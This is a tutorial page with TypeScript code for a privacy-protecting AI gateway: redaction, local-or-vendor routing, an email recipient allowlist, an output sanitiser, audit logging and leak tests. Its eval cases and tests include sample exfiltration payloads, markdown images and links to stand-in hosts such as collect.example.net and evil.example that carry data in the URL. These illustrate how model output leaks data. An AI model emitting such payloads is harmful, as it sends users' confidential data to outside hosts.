Izrada AI pristupnika koji ne curi, za stručni ured

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68/** A span of sensitive text found by a detector. */export type Span = { kind: string; start: number; end: number };export type Detector = (text: string) => Span[];const PATTERNS: [kind: string, re: RegExp][] = [  ['EMAIL', /[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g],  ['IBAN', /\b[A-Z]{2}\d{2}(?: ?[A-Z0-9]{4}){3,7}(?: ?[A-Z0-9]{1,4})?\b/g],  ['OIB', /\b\d{11}\b/g],  ['PHONE', /\+\d{1,3}[ /-]?\d{1,4}(?:[ /-]?\d{2,4}){2,4}/g],];/** Regex detector: catches anything with a recognisable shape. */export function patternDetector(kinds = PATTERNS.map(([kind]) => kind)): Detector {  return (text) =>    PATTERNS.filter(([kind]) => kinds.includes(kind)).flatMap(([kind, re]) =>      [...text.matchAll(re)].map((m) => ({ kind, start: m.index!, end: m.index! + m[0].length }))    );}/** Exact names exported from your case or client system: matters, clients, deals. */export function nameListDetector(names: string[]): Detector {  return (text) => {    const lower = text.toLowerCase();    return names.flatMap((name) => {      const spans: Span[] = [];      for (let i = lower.indexOf(name.toLowerCase()); i !== -1; i = lower.indexOf(name.toLowerCase(), i + 1)) {        spans.push({ kind: 'NAME', start: i, end: i + name.length });      }      return spans;    });  };}/** Swaps every span for a placeholder; the vault maps placeholders back. */export function redact(text: string, detectors: Detector[]) {  const spans = detectors    .flatMap((detect) => detect(text))    .sort((a, b) => a.start - b.start || b.end - a.end);  const vault = new Map<string, string>(); // placeholder -> original  const seen = new Map<string, string>(); // original -> placeholder  const counts: Record<string, number> = {};  let out = '';  let cursor = 0;  for (const span of spans) {    if (span.start < cursor) continue; // overlaps a span already replaced    const value = text.slice(span.start, span.end);    let placeholder = seen.get(value);    if (!placeholder) {      counts[span.kind] = (counts[span.kind] ?? 0) + 1;      placeholder = `[[${span.kind}_${counts[span.kind]}]]`;      seen.set(value, placeholder);      vault.set(placeholder, value);    }    out += text.slice(cursor, span.start) + placeholder;    cursor = span.end;  }  return { text: out + text.slice(cursor), vault, counts };}/** Puts the originals back into the model's answer, inside the office. */export function restore(text: string, vault: Map<string, string>): string {  let out = text;  for (const [placeholder, value] of vault) out = out.split(placeholder).join(value);  return out;}

1
2
3
4
5
6
7
8
9
10
11
12export type Label = 'public' | 'internal' | 'confidential';export type Route = { target: 'local' | 'vendor'; reason: string };/** Confidential work never leaves: the label, the classifier or any redaction keeps it local. */export function chooseModel(input: { label: Label; redactions: number; classifierScore: number }): Route {  if (input.label === 'confidential') return { target: 'local', reason: 'label' };  if (input.classifierScore >= 0.5) return { target: 'local', reason: 'classifier' };  if (input.redactions > 0) return { target: 'local', reason: 'personal-data' };  if (input.label === 'public' || input.label === 'internal') return { target: 'vendor', reason: 'default' };  return { target: 'local', reason: 'unknown-label' }; // fail closed}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18export type EmailCall = { tool: 'send_email'; to: string[]; cc?: string[]; subject: string; body: string };export type Verdict = { action: 'deny' | 'confirm'; reason: string };/** Every write waits for a person; recipients outside the allowlist are refused outright. */export function checkEmail(call: EmailCall, allowedDomains: string[]): Verdict {  const allowed = new Set(allowedDomains.map((d) => d.toLowerCase()));  const recipients = [...call.to, ...(call.cc ?? [])];  if (recipients.length === 0) return { action: 'deny', reason: 'no-recipients' };  for (const address of recipients) {    const match = /^[^@\s]+@([a-z0-9.-]+)$/i.exec(address.trim());    if (!match) return { action: 'deny', reason: `malformed:${address}` };    const domain = match[1].toLowerCase();    if (!allowed.has(domain)) return { action: 'deny', reason: `domain:${domain}` };  }  return { action: 'confirm', reason: 'write-needs-human' };}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23/** Strips what a client would fetch or follow: images always, links unless the host is listed. */export function sanitize(markdown: string, allowedHosts: string[]) {  const allowed = new Set(allowedHosts.map((h) => h.toLowerCase()));  const isAllowed = (url: string) => {    try {      const u = new URL(url);      return u.protocol === 'https:' && allowed.has(u.hostname.toLowerCase());    } catch {      return false; // relative, protocol-relative or broken: not allowed    }  };  let removed = 0;  const text = markdown    .replace(/!\[[^\]]*\]\([^)]*\)/g, () => (removed++, '[image removed]'))    .replace(/<img\b[^>]*>/gi, () => (removed++, '[image removed]'))    .replace(/\[([^\]]*)\]\(([^)\s]*)[^)]*\)/g, (link, label: string, url: string) =>      isAllowed(url) ? link : (removed++, label)    )    // A bare URL ends before trailing punctuation, so "see https://x.example." keeps its full stop.    .replace(/https?:\/\/[^\s)\]>"']*[^\s)\]>"'.,;:!?]/g, (url) => (isAllowed(url) ? url : (removed++, '[link removed]')));  return { text, removed };}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import { createHash } from 'node:crypto';export type AuditEvent = {  user: string;  action: 'prompt' | 'retrieval' | 'tool';  target: string;  redactions: Record<string, number>;  decision: string;  input: string;};/** One JSON line per event. The raw text is never logged, only its hash. */export function auditLine(event: AuditEvent, now = new Date()): string {  const { input, ...rest } = event;  return JSON.stringify({    ts: now.toISOString(),    ...rest,    input_sha256: createHash('sha256').update(input).digest('hex'),  });}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31export type LeakCase = { name: string; input: string; mustNotContain: string[] };/** Known leaks. Each one stays here forever: a rule change that reopens it fails the run. */export const LEAK_CASES: LeakCase[] = [  {    name: 'identifiers in a prompt',    input: 'Refund client ana.horvat@example.com to HR1210010051863000160, OIB 12345678903.',    mustNotContain: ['ana.horvat@example.com', 'HR1210010051863000160', '12345678903'],  },  {    name: 'a matter name with no pattern',    input: 'Summarise where Project Falcon stands before the board meets.',    mustNotContain: ['Project Falcon'],  },  {    name: 'an exfiltration image in model output',    input: 'Done. ![status](https://collect.example.net/p?d=HR1210010051863000160)',    mustNotContain: ['collect.example.net'],  },];/** Runs every case through the pipeline; returns the names of the cases that leaked. */export function runEvals(pipeline: (input: string) => string, cases = LEAK_CASES): string[] {  return cases    .filter((c) => {      const out = pipeline(c.input);      return c.mustNotContain.some((secret) => out.includes(secret));    })    .map((c) => c.name);}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109import { test } from 'node:test';import assert from 'node:assert/strict';import { nameListDetector, patternDetector, redact, restore } from './redact';import { chooseModel } from './route';import { checkEmail } from './tools';import { sanitize } from './sanitize';import { auditLine } from './audit';import { LEAK_CASES, runEvals } from './evals';const MATTERS = nameListDetector(['Project Falcon']);const ALLOWED_HOSTS = ['intranet.office.example'];/** What leaves the office: redacted input, sanitised output. */const pipeline = (detectors = [patternDetector(), MATTERS]) => (input: string) =>  sanitize(redact(input, detectors).text, ALLOWED_HOSTS).text;test('redaction swaps identifiers for placeholders and restores them', () => {  const input = 'Email ana.horvat@example.com, IBAN HR12 1001 0051 8630 0016 0, phone +385 91 234 5678, OIB 12345678903.';  const { text, vault, counts } = redact(input, [patternDetector()]);  assert.equal(    text,    'Email [[EMAIL_1]], IBAN [[IBAN_1]], phone [[PHONE_1]], OIB [[OIB_1]].'  );  assert.deepEqual(counts, { EMAIL: 1, IBAN: 1, PHONE: 1, OIB: 1 });  assert.equal(restore(text, vault), input);});test('the same value gets the same placeholder', () => {  const { text } = redact('a@x.example wrote to b@x.example, then a@x.example again', [patternDetector()]);  assert.equal(text, '[[EMAIL_1]] wrote to [[EMAIL_2]], then [[EMAIL_1]] again');});test('patterns miss a matter name; the name list catches it', () => {  const input = 'Where does Project Falcon stand?';  assert.equal(redact(input, [patternDetector()]).text, input);  assert.equal(redact(input, [patternDetector(), MATTERS]).text, 'Where does [[NAME_1]] stand?');});test('routing keeps confidential and personal data local', () => {  assert.equal(chooseModel({ label: 'confidential', redactions: 0, classifierScore: 0 }).target, 'local');  assert.equal(chooseModel({ label: 'internal', redactions: 0, classifierScore: 0.8 }).target, 'local');  assert.equal(chooseModel({ label: 'internal', redactions: 2, classifierScore: 0 }).target, 'local');  assert.equal(chooseModel({ label: 'public', redactions: 0, classifierScore: 0.1 }).target, 'vendor');  // A label the gateway does not know fails closed.  assert.equal(chooseModel({ label: 'secret' as never, redactions: 0, classifierScore: 0 }).target, 'local');});test('email tool: allowlisted domains need confirmation, everything else is denied', () => {  const call = { tool: 'send_email' as const, subject: 'Draft', body: '...' };  assert.deepEqual(checkEmail({ ...call, to: ['partner@office.example'] }, ['office.example']), {    action: 'confirm',    reason: 'write-needs-human',  });  assert.equal(checkEmail({ ...call, to: ['me@gmail.com'] }, ['office.example']).reason, 'domain:gmail.com');  assert.equal(checkEmail({ ...call, to: ['x@office.example.evil.net'] }, ['office.example']).action, 'deny');  assert.equal(checkEmail({ ...call, to: ['partner@office.example'], cc: ['me@gmail.com'] }, ['office.example']).action, 'deny');  assert.equal(checkEmail({ ...call, to: [] }, ['office.example']).reason, 'no-recipients');});test('sanitiser strips images and external links, keeps allowed links', () => {  const md = [    'See ![chart](https://collect.example.net/x.png?d=secret).',    'Read [the policy](https://intranet.office.example/ai-policy).',    'Or [this](https://evil.example/steal?d=1) and https://evil.example/raw.',    '<img src="https://evil.example/p.gif">',  ].join('\n');  const { text, removed } = sanitize(md, ALLOWED_HOSTS);  assert.equal(    text,    [      'See [image removed].',      'Read [the policy](https://intranet.office.example/ai-policy).',      'Or this and [link removed].',      '[image removed]',    ].join('\n')  );  assert.equal(removed, 4);});test('audit line carries counts and a hash, never the text', () => {  const line = auditLine(    { user: 'ana', action: 'prompt', target: 'local', redactions: { EMAIL: 1 }, decision: 'routed', input: 'secret text' },    new Date('2026-11-05T09:00:00Z')  );  const parsed = JSON.parse(line);  assert.equal(parsed.ts, '2026-11-05T09:00:00.000Z');  assert.equal(parsed.input_sha256.length, 64);  assert.ok(!line.includes('secret text'));});test('evals pass with the full rule set', () => {  assert.deepEqual(runEvals(pipeline()), []);});test('evals fail when a rule change reopens a known leak', () => {  // Someone drops the IBAN pattern to fix a false positive.  const weakened = pipeline([patternDetector(['EMAIL', 'OIB', 'PHONE']), MATTERS]);  assert.deepEqual(runEvals(weakened), ['identifiers in a prompt']);  assert.equal(LEAK_CASES.length, 3);});test('the tutorial embeds exactly these files', async () => {  const { readFileSync } = await import('node:fs');  const { AI_GATEWAY_CODE } = await import('../../lib/aiGatewayCode.generated');  for (const [name, code] of Object.entries(AI_GATEWAY_CODE)) {    assert.equal(code, readFileSync(new URL(`./${name}`, import.meta.url), 'utf8'), `${name} is stale: run embed.mjs`);  }});